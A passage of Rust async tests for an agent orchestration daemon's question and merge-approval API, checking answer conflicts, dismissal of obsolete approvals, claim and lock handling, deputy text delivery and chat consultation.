12167 assert_eq!(listed[0]["id"], q.id, "history remains available");
12168 assert_eq!(
12169 reconnected.get("/api/health").await.json()["questions_open"],
12170 0
12171 );
12172 assert_eq!(
12173 reconnected
12174 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12175 .await
12176 .status,
12177 409
12178 );
12179 assert!(
12181 reconnected
12182 .questions()
12183 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12184 .is_err()
12185 );
12186 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12189 }
12190
12191 #[tokio::test]
12192 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12193 let fx = Fixture::start().await;
12194 let mut state = obsolete_approval_state();
12195 state.status = RunStatus::Landing;
12196 state.driver_exited = true;
12197 let mut q = Question::new(
12198 state.id.clone(),
12199 crate::land::APPROVAL_NODE.into(),
12200 "land".into(),
12201 "Obsolete approval".into(),
12202 String::new(),
12203 vec!["merge".into(), "hold".into()],
12204 );
12205 state.land_approval = Some(crate::run::LandApproval {
12206 question: q.id.clone(),
12207 head: "head".into(),
12208 });
12209 state.save_under(fx.home.path()).unwrap();
12210 fx.questions().put(&mut q).unwrap();
12211 let mut task = Task::new(
12212 "Owner".into(),
12213 "Original instruction".into(),
12214 state.repo.clone(),
12215 Source::Human,
12216 );
12217 task.runs = vec![state.id.clone(), "later-run".into()];
12218 fx.queue().put(&mut task).unwrap();
12219 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12220 let claim = fx.queue().claim(&task.id).unwrap();
12221 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12222 let path = format!("/api/questions/{}/answer", q.id);
12223 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12224 assert!(fx.questions().get(&q.id).unwrap().status.open());
12225 drop(claim);
12226 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12227 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12228 assert!(fx.questions().get(&q.id).unwrap().status.open());
12229 drop(publication);
12230 state.driver_exited = false;
12232 state.driver_pid = None;
12233 state.driver_claimed = None; state.save_under(fx.home.path()).unwrap();
12235 assert_eq!(
12236 state.liveness_under(fx.home.path(), false),
12237 crate::run::Liveness::Unknown
12238 );
12239
12240 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12241 state.driver_exited = true;
12242 state.land_armed_head = Some("head".into());
12243 state.save_under(fx.home.path()).unwrap();
12244 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12245 state.land_armed_head = None;
12246 state.save_under(fx.home.path()).unwrap();
12247 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12248 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12249 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12250 }
12251
12252 #[tokio::test]
12253 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12254 let fx = Fixture::start().await;
12255 let mut state = obsolete_approval_state();
12256 state.status = RunStatus::Landing;
12257 state.driver_exited = true;
12258 let mut q = Question::new(
12259 state.id.clone(),
12260 crate::land::APPROVAL_NODE.into(),
12261 "land".into(),
12262 "Obsolete approval".into(),
12263 String::new(),
12264 vec!["merge".into(), "hold".into()],
12265 );
12266 state.land_approval = Some(crate::run::LandApproval {
12267 question: q.id.clone(),
12268 head: "head".into(),
12269 });
12270 state.save_under(fx.home.path()).unwrap();
12271 fx.questions().put(&mut q).unwrap();
12272 let mut task = Task::new(
12273 "Owner".into(),
12274 "Original instruction".into(),
12275 state.repo.clone(),
12276 Source::Human,
12277 );
12278 task.runs.push(state.id.clone());
12279 task.status = TaskStatus::Parked;
12280 fx.queue().put(&mut task).unwrap();
12281 state.merge_decision = Some(crate::merge_decision::Decision {
12284 question: q.id.clone(),
12285 target: crate::merge_decision::Target {
12286 pr: state.pr.as_ref().unwrap().url.clone(),
12287 head: "head".into(),
12288 language: "ja".into(),
12289 },
12290 choice: crate::merge_decision::DISMISS.into(),
12291 closed: false,
12292 replacement_run: None,
12293 replacement_pr: None,
12294 });
12295 state.status = RunStatus::Superseded;
12296 state.save_under(fx.home.path()).unwrap();
12297 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12298 let path = format!("/api/questions/{}/answer", q.id);
12299 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12300 let done = fx.queue().get(&task.id).unwrap();
12301 assert_eq!(done.status, TaskStatus::Done);
12302 assert_eq!(done.runs, task.runs);
12303 assert_eq!(done.instruction, task.instruction);
12304 assert!(done.action_applied(&q.id));
12305 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12306 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12307 assert!(!fx.questions().get(&q.id).unwrap().status.open());
12308 }
12309
12310 #[tokio::test]
12311 async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12312 let home = TempDir::new().unwrap();
12313 let ui = Arc::new(Ui::new(
12314 Queue::at(home.path().join("queue")),
12315 Questions::at(home.path().join("questions")),
12316 Talks::at(home.path().join("talks")),
12317 home.path().join("runs"),
12318 home.path().to_owned(),
12319 home.path().to_owned(),
12320 ));
12321 let talks = &ui.talks;
12322 let chat =
12323 talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12324 let mut q = Question::new(
12325 "run".into(),
12326 crate::land::APPROVAL_NODE.into(),
12327 "land".into(),
12328 "Merge?".into(),
12329 String::new(),
12330 vec!["merge".into(), "hold".into()],
12331 );
12332 q.routed_task = Some("task".into());
12333 q.routed_chat = Some(chat.id.clone());
12334 q.merge_target = Some(crate::merge_decision::Target {
12335 pr: "https://example.test/pull/1".into(),
12336 head: "head-a".into(),
12337 language: "en".into(),
12338 });
12339 ui.questions.put(&mut q).unwrap();
12340 let send = |body| {
12341 question_answer(
12342 State(ui.clone()),
12343 Path(q.id.clone()),
12344 Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12345 )
12346 };
12347 let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12348 assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12349 let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12350 assert!(send(wrong_chat).await.is_err());
12351 let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12352 assert!(send(stale).await.is_err());
12353 assert!(ui.questions.get(&q.id).unwrap().status.open());
12354 assert!(send(button.clone()).await.is_ok());
12355 assert_eq!(
12356 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12357 Some("merge")
12358 );
12359 assert!(send(button).await.is_err());
12360 }
12361
12362 #[tokio::test]
12363 async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12364 let home = TempDir::new().unwrap();
12365 let ui = Arc::new(Ui::new(
12366 Queue::at(home.path().join("queue")),
12367 Questions::at(home.path().join("questions")),
12368 Talks::at(home.path().join("talks")),
12369 home.path().join("runs"),
12370 home.path().to_owned(),
12371 home.path().to_owned(),
12372 ));
12373 for choice in [crate::land::APPROVE, crate::land::HOLD] {
12374 let mut q = Question::new(
12375 "run".into(),
12376 crate::land::APPROVAL_NODE.into(),
12377 "land".into(),
12378 "Merge?".into(),
12379 String::new(),
12380 vec!["merge".into(), choice.into()],
12381 );
12382 q.routed_task = Some("task".into());
12383 q.merge_target = Some(crate::merge_decision::Target {
12384 pr: "https://example.test/pull/1".into(),
12385 head: "head-a".into(),
12386 language: "en".into(),
12387 });
12388 ui.questions.put(&mut q).unwrap();
12389 let answer = |c: &str| {
12390 question_answer(
12391 State(ui.clone()),
12392 Path(q.id.clone()),
12393 Ok(Json(
12394 serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12395 .unwrap(),
12396 )),
12397 )
12398 };
12399 let _ = answer(choice).await.unwrap();
12400 assert_eq!(
12401 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12402 Some(choice)
12403 );
12404 }
12405 }
12406
12407 #[tokio::test]
12408 async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
12409 let home = TempDir::new().unwrap();
12410 let ui = Arc::new(Ui::new(
12411 Queue::at(home.path().join("queue")),
12412 Questions::at(home.path().join("questions")),
12413 Talks::at(home.path().join("talks")),
12414 home.path().join("runs"),
12415 home.path().to_owned(),
12416 home.path().to_owned(),
12417 ));
12418 let mut q = Question::new(
12419 "run".into(),
12420 crate::github_text::ASK_NODE.into(),
12421 "posting-gate".into(),
12422 "Post?".into(),
12423 String::new(),
12424 vec!["use fallback".into()],
12425 );
12426 q.routed_task = Some("task".into());
12427 ui.questions.put(&mut q).unwrap();
12428 let sent = question_answer(
12429 State(ui.clone()),
12430 Path(q.id.clone()),
12431 Ok(Json(
12432 serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
12433 .unwrap(),
12434 )),
12435 )
12436 .await;
12437 let _ = sent.unwrap();
12438 assert_eq!(
12439 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12440 Some("use fallback")
12441 );
12442 }
12443
12444 #[tokio::test]
12445 async fn merge_decision_api_persists_exact_target_and_selected_action() {
12446 let fx = Fixture {
12447 home: TempDir::new().unwrap(),
12448 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12449 };
12450 for choice in [
12451 crate::land::HOLD,
12452 crate::land::REPAIR,
12453 crate::land::APPROVE,
12454 crate::merge_decision::WITHDRAW,
12455 "reimplement:beta",
12456 ] {
12457 let mut q = Question::new(
12458 "old-run".into(),
12459 crate::land::APPROVAL_NODE.into(),
12460 "land".into(),
12461 "Decision".into(),
12462 "Review findings".into(),
12463 vec![
12464 "merge".into(),
12465 "hold".into(),
12466 crate::land::REPAIR.into(),
12467 crate::merge_decision::WITHDRAW.into(),
12468 "reimplement:beta".into(),
12469 ],
12470 );
12471 q.merge_target = Some(crate::merge_decision::Target {
12472 pr: "https://github.com/example/repo/pull/42".into(),
12473 head: "exact-reviewed-head".into(),
12474 language: "ja".into(),
12475 });
12476 q.consult = Some(ask::ChatConsult {
12477 talk: "another-conversation".into(),
12478 at: jiff::Timestamp::now(),
12479 });
12480 fx.questions().put(&mut q).unwrap();
12481 let ui = Arc::new(Ui::new(
12482 fx.queue(),
12483 fx.questions(),
12484 fx.talks(),
12485 fx.runs(),
12486 fx.home.path().into(),
12487 std::path::PathBuf::from("."),
12488 ));
12489 let response = question_answer(
12490 State(ui.clone()),
12491 Path(q.id.clone()),
12492 Ok(Json(NewAnswer {
12493 choice: Some(choice.into()),
12494 text: None,
12495 ..Default::default()
12496 })),
12497 )
12498 .await
12499 .unwrap();
12500 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
12501 let disk = fx.questions().get(&q.id).unwrap();
12502 assert_eq!(disk.merge_target, q.merge_target);
12503 assert_eq!(disk.consult, q.consult);
12504 assert_eq!(disk.resolution().as_deref(), Some(choice));
12505 assert!(
12506 question_answer(
12507 State(ui),
12508 Path(q.id.clone()),
12509 Ok(Json(NewAnswer {
12510 choice: Some("merge".into()),
12511 text: None,
12512 ..Default::default()
12513 }))
12514 )
12515 .await
12516 .is_err(),
12517 "an already settled decision cannot turn into merge approval"
12518 );
12519 }
12520 }
12521
12522 #[tokio::test]
12523 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
12524 let fx = Fixture {
12525 home: TempDir::new().unwrap(),
12526 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12527 };
12528 let mut state = crate::land::tests::repair_state(true, true);
12529 state.status = RunStatus::Landing;
12530 state.parked = true;
12531 state.driver_exited = true;
12532 let mut task = Task::new(
12533 "Existing PR owner".into(),
12534 state.instruction.clone(),
12535 state.repo.clone(),
12536 Source::Human,
12537 );
12538 task.runs.push(state.id.clone());
12539 task.status = TaskStatus::Parked;
12540 fx.queue().put(&mut task).unwrap();
12541 let mut q = Question::new(
12542 state.id.clone(),
12543 crate::land::APPROVAL_NODE.into(),
12544 "land".into(),
12545 "Contested merge".into(),
12546 "Original evidence".into(),
12547 vec!["merge".into(), "hold".into()],
12548 );
12549 state.land_approval = Some(crate::run::LandApproval {
12550 question: q.id.clone(),
12551 head: "reviewed-head".into(),
12552 });
12553 state.save_under(fx.home.path()).unwrap();
12554 fx.questions().put(&mut q).unwrap();
12555 task.hold_manual(Some("Pause this PR".into()));
12557 fx.queue().put(&mut task).unwrap();
12558 let ui = Arc::new(Ui::new(
12561 fx.queue(),
12562 fx.questions(),
12563 fx.talks(),
12564 fx.runs(),
12565 fx.home.path().to_path_buf(),
12566 state.repo.clone(),
12567 ));
12568 let response = question_answer(
12569 State(ui),
12570 Path(q.id.clone()),
12571 Ok(Json(NewAnswer {
12572 choice: Some(crate::land::REPAIR.into()),
12573 text: None,
12574 ..Default::default()
12575 })),
12576 )
12577 .await
12578 .unwrap();
12579 assert_eq!(response.0.question.id, q.id);
12580 let upgraded = fx.questions().get(&q.id).unwrap();
12581 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
12582 assert!(upgraded.detail.starts_with("Original evidence"));
12583 let claim = fx.queue().claim(&task.id).unwrap();
12584 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12585 assert!(
12586 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
12587 "an existing driver keeps its claim"
12588 );
12589 drop(claim);
12590 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12591 let resumed = fx.queue().get(&task.id).unwrap();
12592 assert_eq!(
12593 resumed
12594 .resume_override
12595 .as_ref()
12596 .unwrap()
12597 .pinned_run
12598 .as_deref(),
12599 Some(state.id.as_str())
12600 );
12601 assert!(resumed.status.runnable());
12602 assert_eq!(resumed.instruction, task.instruction);
12603 assert_eq!(resumed.runs, task.runs);
12604 assert!(resumed.action_applied(&q.id));
12605 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12606 assert_eq!(fx.queue().list().len(), 1);
12607 assert_eq!(
12608 fx.queue().get(&task.id).unwrap().resume_override,
12609 resumed.resume_override
12610 );
12611 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12612 assert!(
12613 disk.merge_repairs.is_empty(),
12614 "only the claimed run driver may execute repair"
12615 );
12616 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
12617 }
12618
12619 #[tokio::test]
12620 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
12621 let fx = Fixture::start().await;
12622 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12623 let path = format!("/api/questions/{id}/answer");
12624
12625 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
12626 assert_eq!(res.status, 200, "{}", res.body);
12627 let body = res.json();
12628 assert_eq!(body["status"], "answered");
12629 assert_eq!(body["answer"]["choice"], "Redis");
12630
12631 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
12635 assert_eq!(again.status, 409, "{}", again.body);
12636 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12637 }
12638
12639 #[tokio::test]
12640 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
12641 let home = tempfile::tempdir().unwrap();
12642 let ui = delta_test_ui(home.path());
12643 let mut q = Question::new(
12644 "task".into(),
12645 crate::land::APPROVAL_NODE.into(),
12646 "land".into(),
12647 "Explain?".into(),
12648 String::new(),
12649 vec!["hold".into()],
12650 );
12651 q.deputy = Some(ask::Deputy::new("context".into()));
12652 ui.questions.put(&mut q).unwrap();
12653 let mut cfg = stub_config();
12654 cfg.daemon.max_deputies = 0;
12655 let mut status = crate::daemon::Status::new();
12656 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12657 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
12658 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12659 let error = question_say(
12660 State(ui.clone()),
12661 Path(q.id.clone()),
12662 Ok(Json(NewSay {
12663 body: "Explain the findings".into(),
12664 })),
12665 )
12666 .await
12667 .unwrap_err();
12668 assert_eq!(
12669 error.text_reason,
12670 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
12671 );
12672 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12673
12674 let mut text = Question::new(
12675 "task".into(),
12676 "ask".into(),
12677 "operator".into(),
12678 "Which name?".into(),
12679 String::new(),
12680 vec![],
12681 );
12682 ui.questions.put(&mut text).unwrap();
12683 let Json(view) = question_answer(
12684 State(ui.clone()),
12685 Path(text.id.clone()),
12686 Ok(Json(NewAnswer {
12687 choice: None,
12688 text: Some("chosen name".into()),
12689 ..Default::default()
12690 })),
12691 )
12692 .await
12693 .unwrap();
12694 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
12695 assert!(!ui.questions.get(&text.id).unwrap().status.open());
12696 }
12697
12698 #[tokio::test]
12699 async fn question_text_handler_admission_without_transport() {
12700 let home = tempfile::tempdir().unwrap();
12701 let ui = delta_test_ui(home.path());
12702 let mut q = Question::new(
12703 "task".into(),
12704 crate::land::APPROVAL_NODE.into(),
12705 "land".into(),
12706 "May this PR merge?".into(),
12707 String::new(),
12708 vec!["hold".into()],
12709 );
12710 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
12711 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12712 ui.questions.put(&mut q).unwrap();
12713 let say = || {
12714 Ok(Json(NewSay {
12715 body: "Explain the findings".into(),
12716 }))
12717 };
12718 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12719 .await
12720 .unwrap_err();
12721 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12722 let response = rejected.into_response();
12723 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
12724 .await
12725 .unwrap();
12726 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12727 assert_eq!(body["code"], "question_text_unavailable");
12728 assert_eq!(body["reason"], "deputy_exhausted");
12729 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12730 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12731 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12732 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12733 .await
12734 .unwrap();
12735 assert_eq!(view.text_delivery.state, "live");
12736 assert!(view.question.waiter.is_none());
12737 assert!(view.question.cwd.is_none());
12738 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12739 ui.questions.drop_lease(&q.id);
12740 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12741 .await
12742 .unwrap_err();
12743 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12744 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12745 let _ = question_answer(
12746 State(ui.clone()),
12747 Path(q.id.clone()),
12748 Ok(Json(NewAnswer {
12749 choice: Some("hold".into()),
12750 text: None,
12751 ..Default::default()
12752 })),
12753 )
12754 .await
12755 .unwrap();
12756 assert_eq!(
12757 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12758 Some("hold")
12759 );
12760 }
12761
12762 #[tokio::test]
12763 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12764 let fx = Fixture::start().await;
12765 let store = fx.questions();
12766 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12767 store
12768 .update(&id, |q| {
12769 q.node = crate::land::APPROVAL_NODE.to_owned();
12770 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12771 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12772 Ok(())
12773 })
12774 .unwrap();
12775 let path = format!("/api/questions/{id}/say");
12776 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12777 assert_eq!(refused.status, 422, "{}", refused.body);
12778 assert!(
12779 refused.json()["error"]
12780 .as_str()
12781 .unwrap()
12782 .contains("deputy_exhausted")
12783 );
12784 assert!(store.get(&id).unwrap().thread.is_empty());
12785
12786 store.beat(&id, ask::WaiterKind::Deputy);
12788 let view = fx.get("/api/questions").await.json();
12789 assert_eq!(view[0]["text_delivery"]["state"], "live");
12790 let accepted = fx
12791 .post(&path, Some(r#"{"body":"explain the findings"}"#))
12792 .await;
12793 assert_eq!(accepted.status, 200, "{}", accepted.body);
12794 let before = std::fs::read(store.path_of(&id)).unwrap();
12795
12796 store.drop_lease(&id);
12799 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12800 assert_eq!(refused.status, 422, "{}", refused.body);
12801 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12802 let held = fx
12803 .post(
12804 &format!("/api/questions/{id}/answer"),
12805 Some(r#"{"choice":"hold"}"#),
12806 )
12807 .await;
12808 assert_eq!(held.status, 200, "{}", held.body);
12809 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12810 }
12811
12812 #[tokio::test]
12813 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12814 let repo = tempfile::tempdir().unwrap();
12815 let mut cfg = stub_config();
12816 cfg.daemon.max_deputies = 0;
12817 std::fs::write(
12818 repo.path().join("magi.toml"),
12819 toml::to_string(&cfg).unwrap(),
12820 )
12821 .unwrap();
12822 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12823 let mut status = crate::daemon::Status::new();
12824 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12825 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12826 let id = ask(&fx, "Explain?", &["hold"]);
12827 fx.questions()
12828 .update(&id, |q| {
12829 q.node = crate::land::APPROVAL_NODE.into();
12830 q.deputy = Some(ask::Deputy::new("context".into()));
12831 q.deputy.as_mut().unwrap().agent = "stub".into();
12832 Ok(())
12833 })
12834 .unwrap();
12835 cfg.daemon.max_deputies = 1;
12836 std::fs::write(
12837 repo.path().join("magi.toml"),
12838 toml::to_string(&cfg).unwrap(),
12839 )
12840 .unwrap();
12841 let view = fx.get("/api/questions").await.json();
12842 assert_eq!(view[0]["deputies_enabled"], true);
12843 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12844 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12845 let res = fx
12846 .post(
12847 &format!("/api/questions/{id}/say"),
12848 Some(r#"{"body":"Please explain"}"#),
12849 )
12850 .await;
12851 assert_eq!(res.status, 422, "{}", res.body);
12852 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12853 }
12854
12855 #[tokio::test]
12856 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12857 let fx = Fixture::start().await;
12858 let id = ask(&fx, "No seat", &[]);
12859 let store = fx.questions();
12860 let before = std::fs::read(store.path_of(&id)).unwrap();
12861 let res = fx
12862 .post(
12863 &format!("/api/questions/{id}/say"),
12864 Some(r#"{"body":"hello"}"#),
12865 )
12866 .await;
12867 assert_eq!(res.status, 422, "{}", res.body);
12868 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12869 let res = fx
12870 .post(
12871 &format!("/api/questions/{id}/answer"),
12872 Some(r#"{"text":"hello"}"#),
12873 )
12874 .await;
12875 assert_eq!(res.status, 200, "{}", res.body);
12876 assert_eq!(
12877 store.get(&id).unwrap().resolution().as_deref(),
12878 Some("hello")
12879 );
12880 }
12881
12882 #[tokio::test]
12883 async fn saying_something_appends_a_turn_without_answering() {
12884 let fx = Fixture::start().await;
12885 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12886 fx.questions().beat(&id, ask::WaiterKind::Asker);
12887 let path = format!("/api/questions/{id}/say");
12888
12889 let res = fx
12890 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12891 .await;
12892 assert_eq!(res.status, 200, "{}", res.body);
12893 let body = res.json();
12894 assert_eq!(body["status"], "open", "talking back is not a decision");
12895 assert_eq!(body["answer"], Value::Null);
12896 assert_eq!(body["thread"][0]["who"], "operator");
12897 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12898 assert_eq!(body["waiting_on_agent"], true);
12899 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12901 }
12902
12903 #[tokio::test]
12904 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12905 let fx = Fixture::start().await;
12906 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12907
12908 let list = fx.get("/api/questions").await.json();
12909 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12910
12911 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12912 assert_eq!(res.status, 409, "{}", res.body);
12913 let q = fx.questions().get(&id).unwrap();
12914 assert!(q.status.open());
12915 assert!(q.consult.is_none());
12916 }
12917
12918 #[tokio::test]
12919 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12920 let fx = Fixture::start().await;
12921 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12922 let cfg = Config {
12923 agents: vec![crate::config::AgentSpec {
12924 id: "mock".to_owned(),
12925 kind: crate::config::AgentKind::Command,
12926 model: None,
12927 command: vec!["true".to_owned()],
12928 extra_args: Vec::new(),
12929 env: Default::default(),
12930 prompt_delivery: None,
12931 max_turn_secs: None,
12932 }],
12933 ..Config::default()
12934 };
12935 let talk = crate::talk::begin(
12936 &fx.talks(),
12937 &cfg,
12938 fx.home.path().to_path_buf(),
12939 Some("mock"),
12940 )
12941 .unwrap();
12942 let mut task = Task::new(
12943 "t".to_owned(),
12944 "Do it".to_owned(),
12945 PathBuf::from("/repo/magi"),
12946 Source::Agent {
12947 run: talk.id.clone(),
12948 node: crate::queue::CHAT_NODE.to_owned(),
12949 },
12950 );
12951 task.start("20260902-000000-beef".to_owned());
12952 fx.queue().put(&mut task).unwrap();
12953
12954 let list = fx.get("/api/questions").await.json();
12955 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12956 assert_eq!(
12957 list[0]["choices"],
12958 serde_json::json!(["SQLite", "Redis"]),
12959 "the hand-over is never a choice"
12960 );
12961 fx.questions()
12962 .update(&id, |q| {
12963 q.node = crate::land::APPROVAL_NODE.into();
12964 q.choices = vec!["merge".into(), "hold".into()];
12965 Ok(())
12966 })
12967 .unwrap();
12968 let list = fx.get("/api/questions").await.json();
12969 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12970 assert_eq!(list[0]["can_consult_chat"], true);
12971 fx.questions()
12972 .update(&id, |q| {
12973 q.node = crate::bump::NOTICE_NODE.into();
12974 Ok(())
12975 })
12976 .unwrap();
12977 let list = fx.get("/api/questions").await.json();
12978 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12979 assert_eq!(list[0]["can_consult_chat"], false);
12980 }
12981
12982 #[tokio::test]
12983 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12984 let fx = Fixture::start().await;
12985 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12986 fx.questions()
12987 .update(&id, |q| {
12988 q.node = crate::land::APPROVAL_NODE.into();
12989 q.choices = vec!["merge".into(), "hold".into()];
12990 Ok(())
12991 })
12992 .unwrap();
12993 let cfg = Config {
12994 agents: vec![crate::config::AgentSpec {
12995 id: "mock".to_owned(),
12996 kind: crate::config::AgentKind::Command,
12997 model: None,
12998 command: vec!["true".to_owned()],
12999 extra_args: Vec::new(),
13000 env: Default::default(),
13001 prompt_delivery: None,
13002 max_turn_secs: None,
13003 }],
13004 ..Config::default()
13005 };
13006 let repo = fx.home.path().join("chat-repo");
13008 std::fs::create_dir_all(&repo).unwrap();
13009 let toml = repo.join("magi.toml");
13010 std::fs::write(&toml, "this is = = not toml").unwrap();
13011 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13012 let mut task = Task::new(
13013 "t".to_owned(),
13014 "Do it".to_owned(),
13015 PathBuf::from("/repo/magi"),
13016 Source::Agent {
13017 run: talk.id.clone(),
13018 node: crate::queue::CHAT_NODE.to_owned(),
13019 },
13020 );
13021 task.start("20260902-000000-beef".to_owned());
13022 fx.queue().put(&mut task).unwrap();
13023
13024 let path = format!("/api/questions/{id}/consult");
13025 let res = fx.post(&path, None).await;
13026 assert!(res.status >= 400, "{}", res.body);
13027 assert!(fx.questions().get(&id).unwrap().consult.is_none());
13028 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13029
13030 std::fs::write(&toml, "").unwrap();
13031 let res = fx.post(&path, None).await;
13032 assert_eq!(res.status, 202, "{}", res.body);
13033 assert!(fx.questions().get(&id).unwrap().consult.is_some());
13034 let q = fx.questions().get(&id).unwrap();
13035 assert!(q.status.open());
13036 assert!(q.answer.is_none());
13037 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13038 assert_eq!(res.json()["can_consult_chat"], true);
13039 let list = fx.get("/api/questions").await.json();
13040 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13041 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13042
13043 let res = fx
13044 .post(
13045 &format!("/api/questions/{id}/answer"),
13046 Some(r#"{"choice":"hold"}"#),
13047 )
13048 .await;
13049 assert_eq!(res.status, 200, "{}", res.body);
13050 assert_eq!(res.json()["answer"]["choice"], "hold");
13051 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13052 assert_eq!(res.json()["can_consult_chat"], false);
13053 assert_eq!(fx.post(&path, None).await.status, 409);
13054
13055 let mut talk = fx.talks().get(&talk.id).unwrap();
13056 crate::talk::close(&mut talk, &fx.talks()).unwrap();
13057 let list = fx.get("/api/questions").await.json();
